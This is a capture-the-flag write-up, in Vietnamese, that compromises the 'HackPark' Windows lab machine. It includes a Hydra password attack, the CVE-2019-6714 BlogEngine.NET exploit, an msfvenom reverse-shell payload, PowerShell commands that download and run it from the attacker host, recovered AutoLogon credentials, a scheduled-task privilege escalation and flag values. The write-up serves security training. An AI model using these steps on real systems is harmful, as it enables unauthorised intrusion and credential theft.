Icon

HackPark

Bruteforce a websites login with Hydra, identify and use a public exploit then escalate your privileges on this Windows machine!

November 4, 2025 July 25, 2025 Medium
Author Author Hung Nguyen Tuong

Initial Reconnaissance

Service Scanning

Ta sẽ sử dụng thêm flag -Pn khi scan với Nmap bởi target chạy Windows, có thể chặn các gói tin ICMP (Ping).

$ sudo nmap -Pn -A -v 10.10.157.247

PORT     STATE SERVICE       VERSION
80/tcp   open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
| http-methods:
|   Supported Methods: GET HEAD OPTIONS TRACE POST
|_  Potentially risky methods: TRACE
|_http-title: hackpark | hackpark amusements
| http-robots.txt: 6 disallowed entries
| /Account/*.* /search /search.aspx /error404.aspx
|_/archive /archive.aspx
|_http-server-header: Microsoft-IIS/8.5
3389/tcp open  ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info:
|   Target_Name: HACKPARK
|   NetBIOS_Domain_Name: HACKPARK
|   NetBIOS_Computer_Name: HACKPARK
|   DNS_Domain_Name: hackpark
|   DNS_Computer_Name: hackpark
|   Product_Version: 6.3.9600
|_  System_Time: 2025-07-25T12:57:21+00:00
| ssl-cert: Subject: commonName=hackpark
| Issuer: commonName=hackpark
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2025-07-24T12:54:43
| Not valid after:  2026-01-23T12:54:43
| MD5:   8333:9f00:c296:7956:e1f2:9ef9:e354:f6b6
|_SHA-1: fd0b:b318:df6b:57b4:9a3e:300a:963e:c849:5db9:3b9b
|_ssl-date: 2025-07-25T12:57:25+00:00; +4s from scanner time.
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2012|2008|7 (92%)
OS CPE: cpe:/o:microsoft:windows_server_2012:r2 cpe:/o:microsoft:windows_server_2008:r2 cpe:/o:microsoft:windows_7
Aggressive OS guesses: Microsoft Windows Server 2012 R2 (92%), Microsoft Windows 7 or Windows Server 2008 R2 (85%)
No exact OS matches for host (test conditions non-ideal).
Uptime guess: 0.002 days (since Fri Jul 25 19:55:08 2025)
Network Distance: 5 hops
TCP Sequence Prediction: Difficulty=258 (Good luck!)
IP ID Sequence Generation: Incremental
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Từ kết quả scan, chúng ta thấy trên target có 2 port. Port 80 chạy dịch vụ web Microsoft HTTPAPI httpd 2.0 trên IIS 8.5. File robots.txt cho thấy một số đường dẫn bị ẩn như /Account/*.*, /search, /archive và các trang lỗi. Cổng 3389 mở cho Microsoft RDP. Hệ điều hành có nhiều khả năng đây là Windows Server 2012 R2, Windows Server 2008 R2 hoặc Windows 7.

HTTP 80

image.png

Trang chính không cho ta thông tin gì hữu ích.

Directory Enumeration

Ta sẽ sử dụng gobuster để scan những thư mục và file ẩn trên web server:

$ gobuster dir -u http://10.10.157.247/ -w /usr/share/wordlists/dirb/common.txt -t 128 -x php,html,txt -b 404,403,500

/account              (Status: 301) [Size: 152] [--> http://10.10.157.247/account/]
/admin                (Status: 302) [Size: 173] [--> http://10.10.157.247/Account/login.aspx?ReturnURL=/admin]
/Admin                (Status: 302) [Size: 173] [--> http://10.10.157.247/Account/login.aspx?ReturnURL=/Admin]
/ADMIN                (Status: 302) [Size: 173] [--> http://10.10.157.247/Account/login.aspx?ReturnURL=/ADMIN]
/archive              (Status: 200) [Size: 8325]
/archives             (Status: 200) [Size: 8326]
/Archive              (Status: 200) [Size: 8325]
/aspnet_client        (Status: 301) [Size: 158] [--> http://10.10.157.247/aspnet_client/]
/contactus            (Status: 200) [Size: 9937]
/content              (Status: 301) [Size: 152] [--> http://10.10.157.247/content/]
/Content              (Status: 301) [Size: 152] [--> http://10.10.157.247/Content/]
/contact              (Status: 200) [Size: 9935]
/Contact              (Status: 200) [Size: 9935]
/contact_us           (Status: 200) [Size: 9938]
/contact_bean         (Status: 200) [Size: 9940]
/contactinfo          (Status: 200) [Size: 9939]
/contact-form         (Status: 200) [Size: 9940]
/contacto             (Status: 200) [Size: 9936]
/contacts             (Status: 200) [Size: 9936]
/contact-us           (Status: 200) [Size: 9938]
/ContactUs            (Status: 200) [Size: 9937]
/custom               (Status: 301) [Size: 151] [--> http://10.10.157.247/custom/]
/fonts                (Status: 301) [Size: 150] [--> http://10.10.157.247/fonts/]
/robots.txt           (Status: 200) [Size: 303]
/robots.txt           (Status: 200) [Size: 303]
/Scripts              (Status: 301) [Size: 152] [--> http://10.10.157.247/Scripts/]
/scripts              (Status: 301) [Size: 152] [--> http://10.10.157.247/scripts/]
/search_result        (Status: 200) [Size: 8414]
/search_results       (Status: 200) [Size: 8415]
/search               (Status: 200) [Size: 8407]
/searchnx             (Status: 200) [Size: 8409]
/Search               (Status: 200) [Size: 8407]
/searchresults        (Status: 200) [Size: 8414]
/search-results       (Status: 200) [Size: 8415]
/searchurl            (Status: 200) [Size: 8410]
/setup                (Status: 302) [Size: 175] [--> http://10.10.157.247/Account/login.aspx?ReturnUrl=%2fsetup]

Chúng ta phát hiện ra rất nhiều directory nhưng có vẻ như chúng chỉ là bản sao được tạo ra để đánh lạc hướng.

/Account

Ta được chuyển hướng đến trang login của BlogEngine.net. Đây là một nền tảng blogging mã nguồn mở được xây dựng trên framework ASP.NET. Nó có thể sử dụng các file XML để lưu trữ dữ liệu, hoặc có thể được cấu hình để dùng DBMS như MS SQL Server và MySQL.

image.png

Tại đây, trang web xác thực bằng cách sử dụng các request POST.

image.png

Chúng ta thử đăng nhập bằng các thông tin đăng nhập mặc định của BlogEngine.NET mà ta tìm được trên Google, nhưng ta không đăng nhập thành công.

image.png

image.png

BlogEngine Access as admin

Vì user admin tồn tại và trang đăng nhập không có cơ chế rate limiting, nên một dictionary attack bằng Hydra là khả thi.

Đầu tiên, chúng ta cần chặn lại request POST khi đăng nhập, sau đó tạo command Hydra theo định dạng sau:

hydra -l <username> -P <password_list> <target> http-post-form "<path>:<body>:<fail_string>"

image.png

hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.157.247 -V http-form-post "/Account/login.aspx?ReturnURL=/admin/:__VIEWSTATE=B8ezn68CSU6R91QRqe%2BVDwj1rx5P0IEKIss1Bg%2B4XQf6ATk1sVm6TdyOY81EBMA%2BzsHjQ6K2QUCUGu8K6YyYb%2F%2Fl4asCm6KQJ2clUxObFBxEOl9U9w0vSU%2BZfumx1jvJO2qJA%2F7oHkCxp6WNO5fNZYP3mGRaJ30KPGkPr9OkB8HccEw%2B&__EVENTVALIDATION=Y5143%2BgsgWv2cD3K8zOh8XeugbaPhxij8Ad2vs1IRcO5ZgALsxtplYNJTciV3ep9EL1YWn6dmC3eKEdYjL18%2FRkTv9gZSXA77KjHxk9AEgaEMnEz%2Bf6RWySDkYzRNUB0uZpIKtxw287wxM7krzaqHWg%2FbWIkxc3qABCqAdiKuq5MJR7U&ctl00%24MainContent%24LoginUser%24UserName=^USER^&ctl00%24MainContent%24LoginUser%24Password=^PASS^&ctl00%24MainContent%24LoginUser%24LoginButton=Log+in:Login failed"

Password của admin đã được tìm thấy thành công, cho phép chúng ta truy cập vào admin dashboard.

image.png

login: admin   password: 1qaz2wsx

image.png

Remote Code Execution

image.png

Trang web đang chạy BlogEngine.NET phiên bản 3.3.6, được biết đến là tồn tại lỗ hổng Remote Code Execution (CVE-2019-6714).

image.png

Ở đây, chúng ta sử dụng exploit 46353:

$ less /usr/share/exploitdb/exploits/aspx/webapps/46353.cs

/*
 * CVE-2019-6714
 *
 * Path traversal vulnerability leading to remote code execution.  This
 * vulnerability affects BlogEngine.NET versions 3.3.6 and below.  This
 * is caused by an unchecked "theme" parameter that is used to override
 * the default theme for rendering blog pages.  The vulnerable code can
 * be seen in this file:
 *
 * /Custom/Controls/PostList.ascx.cs
 *
 * Attack:
 *
 * First, we set the TcpClient address and port within the method below to
 * our attack host, who has a reverse tcp listener waiting for a connection.
 * Next, we upload this file through the file manager.  In the current (3.3.6)
 * version of BlogEngine, this is done by editing a post and clicking on the
 * icon that looks like an open file in the toolbar.  Note that this file must
 * be uploaded as PostView.ascx. Once uploaded, the file will be in the
 * /App_Data/files directory off of the document root. The admin page that
 * allows upload is:
 *
 * http://10.10.10.10/admin/app/editor/editpost.cshtml
 *
 *
 * Finally, the vulnerability is triggered by accessing the base URL for the
 * blog with a theme override specified like so:
 *
 * http://10.10.10.10/?theme=../../App_Data/files
 *
 */

Ta làm theo hướng dẫn trong exploit:

  1. Thay địa chỉ IP và port thành của chúng ta.

image.png

  1. Đổi tên file thành PostView.ascx.
$ mv 46353.cs PostView.ascx
  1. Upload file lên.

image.png

image.png

image.png

image.png

Shell as blog

  1. Truy cập URL: http://10.10.157.247/?theme=../../App_Data/files.

image.png

Chúng ta đã thành công truy cập được vào hệ thống với quyền của user blog.

Switch to a Meterpreter Shell

Vì payload reverse shell hiện tại có thể bị giới hạn về khả năng thao tác trên hệ thống, nên chúng ta sẽ upload một shell mạnh mẽ và đầy đủ tính năng hơn, cụ thể là Windows Meterpreter shell.

Trước tiên, cần xác định phiên bản Windows của hệ thống.

image.png

Kết quả cho thấy hệ thống đang chạy Windows Server 2012 R2 Standard dành cho PC kiến trúc x64. Từ thông tin này, chúng ta tạo ra một Meterpreter shell phù hợp.

┌──(hungnt㉿kali)-[~/Desktop]
└─$ msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai LHOST=10.17.21.52 LPORT=4444 -f exe -o shell.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 381 (iteration=0)
x86/shikata_ga_nai chosen with final size 381
Payload size: 381 bytes
Final size of exe file: 73802 bytes
Saved as: shell.exe

Chúng ta có thể dùng một trong hai command để download payload về hệ thống target.

powershell -Command "Invoke-WebRequest -Uri 'http://10.17.21.52/shell.exe' -OutFile 'shell.exe'"

powershell -Command "(New-Object Net.WebClient).DownloadFile('http://10.17.21.52/shell.exe', 'shell.exe')"

Ở đây, payload được tải xuống thư mục C:\Windows\Temp.

powershell -Command "Invoke-WebRequest -Uri 'http://10.17.21.52/shell.exe' -OutFile 'shell.exe'"
C:\Windows\Temp>powershell -Command "Invoke-WebRequest -Uri 'http://10.17.21.52/shell.exe' -OutFile 'shell.exe'"
dir
C:\Windows\Temp>dir
 Volume in drive C has no label.
 Volume Serial Number is 0E97-C552
 Directory of C:\Windows\Temp
07/25/2025  07:14 AM    <DIR>          .
07/25/2025  07:14 AM    <DIR>          ..
08/06/2019  02:13 PM             8,795 Amazon_SSM_Agent_20190806141239.log
08/06/2019  02:13 PM           181,468 Amazon_SSM_Agent_20190806141239_000_AmazonSSMAgentMSI.log
08/06/2019  02:13 PM             1,206 cleanup.txt
08/06/2019  02:13 PM               421 cmdout
08/06/2019  02:11 PM                 0 DMI2EBC.tmp
08/03/2019  10:43 AM                 0 DMI4D21.tmp
08/06/2019  02:12 PM             8,743 EC2ConfigService_20190806141221.log
08/06/2019  02:12 PM           292,438 EC2ConfigService_20190806141221_000_WiXEC2ConfigSetup_64.log
07/25/2025  07:04 AM    <DIR>          Microsoft
07/25/2025  07:14 AM            73,802 shell.exe
08/06/2019  02:13 PM                21 stage1-complete.txt
08/06/2019  02:13 PM            28,495 stage1.txt
05/12/2019  09:03 PM           113,328 svcexec.exe
08/06/2019  02:13 PM                67 tmp.dat
              13 File(s)        708,784 bytes
               3 Dir(s)  39,120,445,440 bytes free

Sau đó, chúng ta thiết lập listener và chạy payload.

msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost tun0
lhost => tun0
msf6 exploit(multi/handler) > set lport 4444
lport => 4444
msf6 exploit(multi/handler) > options
msf6 exploit(multi/handler) > run
.\shell.exe
C:\Windows\Temp>.\shell.exe
[*] Started reverse TCP handler on 10.17.21.52:4444
[*] Sending stage (177734 bytes) to 10.10.157.247
[*] Meterpreter session 1 opened (10.17.21.52:4444 -> 10.10.157.247:49334) at 2025-07-25 21:16:01 +0700

meterpreter > sysinfo
Computer        : HACKPARK
OS              : Windows Server 2012 R2 (6.3 Build 9600).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 1
Meterpreter     : x86/windows

Kết quả là chúng ta đã thành công mở một phiên meterpreter shell.

WinPEAS

Tiếp theo, chúng ta dùng WinPEAS để enumerate các vector leo quyền khả thi.

meterpreter > pwd
c:\Windows\Temp
meterpreter > upload /usr/share/peass/winpeas/winPEASx64.exe
[*] Uploading  : /usr/share/peass/winpeas/winPEASx64.exe -> winPEASx64.exe
[*] Uploaded 8.00 MiB of 9.69 MiB (82.6%): /usr/share/peass/winpeas/winPEASx64.exe -> winPEASx64.exe
[*] Uploaded 9.69 MiB of 9.69 MiB (100.0%): /usr/share/peass/winpeas/winPEASx64.exe -> winPEASx64.exe
[*] Completed  : /usr/share/peass/winpeas/winPEASx64.exe -> winPEASx64.exe

meterpreter > shell
Process 2944 created.
Channel 2 created.
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

c:\Windows\Temp>.\winPEASx64.exe

LinPEAS phát hiện ra AutoLogon credentials. Autologon credentials là username và password mà user chỉ định để Windows tự động đăng nhập vào tài khoản.

image.png

����������͹ Looking for AutoLogon credentials
    Some AutoLogon credentials were found
    DefaultUserName               :  administrator
    DefaultPassword               :  4q6XvFES7Fdxs

Ngoài ra, chúng ta cũng phát hiện hai service đang sử dụng unquoted path cho file thực thi.

image.png

Remote Desktop as Administrator (Path 1)

Vì dịch vụ RDP (cổng 3389) đang hoạt động, chúng ta có thể kết nối remote desktop dưới quyền Administrator bằng cách dùng AutoLogon credentials đã thu được trước đó.

image.png

image.png

image.png

Meterpreter Shell as Administrator (Path 2)

Hiện tại, chúng ta đang truy cập hệ thống với user blog.

Khi dùng command ps của Meterpreter, chúng ta thấy có 2 process đang chạy là WService.exeWScheduler.exe, cùng một process lạ tên là Message.exe.

meterpreter > ps

Process List
============

 PID   PPID  Name                  Arch  Session  User              Path
 ---   ----  ----                  ----  -------  ----              ----
 0     0     [System Process]
 4     0     System
 68    684   svchost.exe
 376   4     smss.exe
 532   524   csrss.exe
 584   576   csrss.exe
 592   524   wininit.exe
 620   576   winlogon.exe
 684   592   services.exe
 692   592   lsass.exe
 752   684   svchost.exe
 796   684   svchost.exe
 852   1984  cmd.exe               x64   0        IIS APPPOOL\Blog  C:\Windows\System32\cmd.exe
 884   684   svchost.exe
 900   620   dwm.exe
 916   684   svchost.exe
 952   684   svchost.exe
 972   2076  csrss.exe
 1044  684   svchost.exe
 1168  684   spoolsv.exe
 1208  684   amazon-ssm-agent.exe
 1284  684   svchost.exe
 1316  684   LiteAgent.exe
 1344  684   svchost.exe
 1384  684   svchost.exe
 1412  1784  dwm.exe
 1428  684   svchost.exe
 1480  684   WService.exe
 1560  1480  WScheduler.exe
 1676  684   Ec2Config.exe
 1724  2336  WScheduler.exe
 1784  2076  winlogon.exe
 1796  752   WmiPrvSE.exe
 1876  2612  cmd.exe
 1968  1876  conhost.exe
 1984  1428  w3wp.exe              x64   0        IIS APPPOOL\Blog  C:\Windows\System32\inetsrv\w3wp.exe
 2076  1344  rdpclip.exe
 2492  1784  LogonUI.exe
 2540  916   taskhostex.exe
 2612  2604  explorer.exe
 2772  684   msdtc.exe
 2924  852   conhost.exe           x64   0        IIS APPPOOL\Blog  C:\Windows\System32\conhost.exe
 3012  852   shell.exe             x86   0        IIS APPPOOL\Blog  c:\Windows\Temp\shell.exe
 3036  2580  ServerManager.exe
 3204  1724  Message.exe
meterpreter > pwd
c:\Windows\Temp
meterpreter > cd "C:\Program Files (x86)\SystemScheduler"
meterpreter > ls
Listing: C:\Program Files (x86)\SystemScheduler
===============================================

Mode              Size     Type  Last modified              Name
----              ----     ----  -------------              ----
040777/rwxrwxrwx  4096     dir   2025-07-30 13:53:33 +0700  Events
100666/rw-rw-rw-  60       fil   2019-08-04 18:36:42 +0700  Forum.url
100666/rw-rw-rw-  9813     fil   2004-11-16 14:16:34 +0700  License.txt
100666/rw-rw-rw-  1496     fil   2025-07-30 13:14:51 +0700  LogFile.txt
100666/rw-rw-rw-  3760     fil   2025-07-30 13:15:20 +0700  LogfileAdvanced.txt
100777/rwxrwxrwx  536992   fil   2018-03-26 00:58:56 +0700  Message.exe
100777/rwxrwxrwx  445344   fil   2018-03-26 00:59:00 +0700  PlaySound.exe
100777/rwxrwxrwx  27040    fil   2018-03-26 00:58:58 +0700  PlayWAV.exe
100666/rw-rw-rw-  149      fil   2019-08-05 05:05:19 +0700  Preferences.ini
100777/rwxrwxrwx  485792   fil   2018-03-26 00:58:58 +0700  Privilege.exe
100666/rw-rw-rw-  10100    fil   2018-03-25 02:09:04 +0700  ReadMe.txt
100777/rwxrwxrwx  112544   fil   2018-03-26 00:58:58 +0700  RunNow.exe
100777/rwxrwxrwx  235936   fil   2018-03-26 00:58:56 +0700  SSAdmin.exe
100777/rwxrwxrwx  731552   fil   2018-03-26 00:58:56 +0700  SSCmd.exe
100777/rwxrwxrwx  456608   fil   2018-03-26 00:58:58 +0700  SSMail.exe
100777/rwxrwxrwx  1633696  fil   2018-03-26 00:58:52 +0700  Scheduler.exe
100777/rwxrwxrwx  491936   fil   2018-03-26 00:59:00 +0700  SendKeysHelper.exe
100777/rwxrwxrwx  437664   fil   2018-03-26 00:58:56 +0700  ShowXY.exe
100777/rwxrwxrwx  439712   fil   2018-03-26 00:58:56 +0700  ShutdownGUI.exe
100666/rw-rw-rw-  785042   fil   2006-05-17 06:49:52 +0700  WSCHEDULER.CHM
100666/rw-rw-rw-  703081   fil   2006-05-17 06:58:18 +0700  WSCHEDULER.HLP
100777/rwxrwxrwx  136096   fil   2018-03-26 00:58:58 +0700  WSCtrl.exe
100777/rwxrwxrwx  68512    fil   2018-03-26 00:58:54 +0700  WSLogon.exe
100666/rw-rw-rw-  33184    fil   2018-03-26 00:59:00 +0700  WSProc.dll
100666/rw-rw-rw-  2026     fil   2006-05-17 05:58:18 +0700  WScheduler.cnt
100777/rwxrwxrwx  331168   fil   2018-03-26 00:58:52 +0700  WScheduler.exe
100777/rwxrwxrwx  98720    fil   2018-03-26 00:58:54 +0700  WService.exe
100666/rw-rw-rw-  54       fil   2019-08-04 18:36:42 +0700  Website.url
100777/rwxrwxrwx  76704    fil   2018-03-26 00:58:58 +0700  WhoAmI.exe
100666/rw-rw-rw-  1150     fil   2007-05-18 03:47:02 +0700  alarmclock.ico
100666/rw-rw-rw-  766      fil   2003-09-01 02:06:08 +0700  clock.ico
100666/rw-rw-rw-  80856    fil   2003-09-01 02:06:10 +0700  ding.wav
100666/rw-rw-rw-  1637972  fil   2009-01-09 10:21:48 +0700  libeay32.dll
100777/rwxrwxrwx  40352    fil   2018-03-26 00:59:00 +0700  sc32.exe
100666/rw-rw-rw-  766      fil   2003-09-01 02:06:26 +0700  schedule.ico
100666/rw-rw-rw-  355446   fil   2009-01-09 10:12:34 +0700  ssleay32.dll
100666/rw-rw-rw-  6999     fil   2019-08-04 18:36:42 +0700  unins000.dat
100777/rwxrwxrwx  722597   fil   2019-08-04 18:36:32 +0700  unins000.exe
100666/rw-rw-rw-  6574     fil   2009-06-27 07:27:32 +0700  whiteclock.ico

Chúng ta kiểm tra thư mục C:\Program Files (x86)\SystemScheduler và nhận thấy bên trong có folder Events:

meterpreter > cd Events
meterpreter > ls
Listing: C:\Program Files (x86)\SystemScheduler\Events
======================================================

Mode              Size   Type  Last modified              Name
----              ----   ----  -------------              ----
100666/rw-rw-rw-  1926   fil   2025-07-30 13:54:02 +0700  20198415519.INI
100666/rw-rw-rw-  23097  fil   2025-07-30 13:54:02 +0700  20198415519.INI_LOG.txt
100666/rw-rw-rw-  290    fil   2020-10-03 04:50:12 +0700  2020102145012.INI
100666/rw-rw-rw-  186    fil   2025-07-30 13:45:46 +0700  Administrator.flg
100666/rw-rw-rw-  182    fil   2025-07-30 13:45:43 +0700  SYSTEM_svc.flg
100666/rw-rw-rw-  0      fil   2025-07-30 13:15:20 +0700  Scheduler.flg
100666/rw-rw-rw-  449    fil   2025-07-30 13:45:46 +0700  SessionInfo.flg
100666/rw-rw-rw-  0      fil   2025-07-30 13:43:00 +0700  TS.flg
100666/rw-rw-rw-  0      fil   2025-07-30 13:46:14 +0700  service.flg

Trong thư mục này có hai file đáng chú ý:

  • 20198415519.INI: Đây là một task do tài khoản Administrator tạo ra, được cấu hình để chạy bất kể có user nào đăng nhập hay không.
  • 20198415519.INI_LOG.txt: Đây là log thực thi, cho thấy task đã chạy Message.exe thành công cứ mỗi 30 giây.
meterpreter > cat 20198415519.INI_LOG.txt
08/04/19 15:06:01,Event Started Ok, (Administrator)
08/04/19 15:06:30,Process Ended. PID:2608,ExitCode:1,Message.exe (Administrator)
08/04/19 15:07:00,Event Started Ok, (Administrator)
08/04/19 15:07:34,Process Ended. PID:2680,ExitCode:4,Message.exe (Administrator)
08/04/19 15:08:00,Event Started Ok, (Administrator)
08/04/19 15:08:33,Process Ended. PID:2768,ExitCode:4,Message.exe (Administrator)
08/04/19 15:09:00,Event Started Ok, (Administrator)
08/04/19 15:09:34,Process Ended. PID:3024,ExitCode:4,Message.exe (Administrator)
08/04/19 15:10:00,Event Started Ok, (Administrator)
08/04/19 15:10:33,Process Ended. PID:1556,ExitCode:4,Message.exe (Administrator)
08/04/19 15:11:00,Event Started Ok, (Administrator)
08/04/19 15:11:33,Process Ended. PID:468,ExitCode:4,Message.exe (Administrator)

Vì user hiện tại có quyền ghi vào thư mục C:\Program Files (x86)\SystemScheduler, chúng ta thay thế file Message.exe bằng payload shell.exe đã upload trước đó.

Ngay sau khi thay thế, chúng ta thoát phiên meterpreter hiện tại và khởi động lại handler. Sau vài giây, một phiên meterpreter mới được mở ra với quyền Administrator.

meterpreter > cp "C:\Windows\Temp\shell.exe" "C:\Program Files (x86)\SystemScheduler\shell.exe"
meterpreter > mv Message.exe Message.exe.bak
meterpreter > mv shell.exe Message.exe
meterpreter > exit
[*] Shutting down session: 1

[*] 10.10.159.20 - Meterpreter session 1 closed.  Reason: Died
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 10.17.21.52:4444
[*] Sending stage (177734 bytes) to 10.10.159.20
[*] Meterpreter session 2 opened (10.17.21.52:4444 -> 10.10.159.20:49292) at 2025-07-30 14:11:08 +0700

meterpreter > getuid
Server username: HACKPARK\Administrator

Từ đây ta thành công chiếm được quyền của Administrator.

user.txt

meterpreter > cd "C:\Users\Jeff\Desktop"
meterpreter > ls
Listing: C:\Users\Jeff\Desktop
==============================

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100666/rw-rw-rw-  282   fil   2019-08-05 01:54:53 +0700  desktop.ini
100666/rw-rw-rw-  32    fil   2019-08-05 01:57:10 +0700  user.txt

meterpreter > cat user.txt
759bd8af507517bcfaede78a21a73e39

root.txt

meterpreter > ls -la
Listing: C:\Users\Administrator\Desktop
=======================================

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100666/rw-rw-rw-  1029  fil   2019-08-04 18:36:42 +0700  System Scheduler.lnk
100666/rw-rw-rw-  282   fil   2019-08-04 00:43:54 +0700  desktop.ini
100666/rw-rw-rw-  32    fil   2019-08-05 01:51:42 +0700  root.txt

meterpreter > cat root.txt
7e13d97f05f7ceb9881a3eb3d78d3e72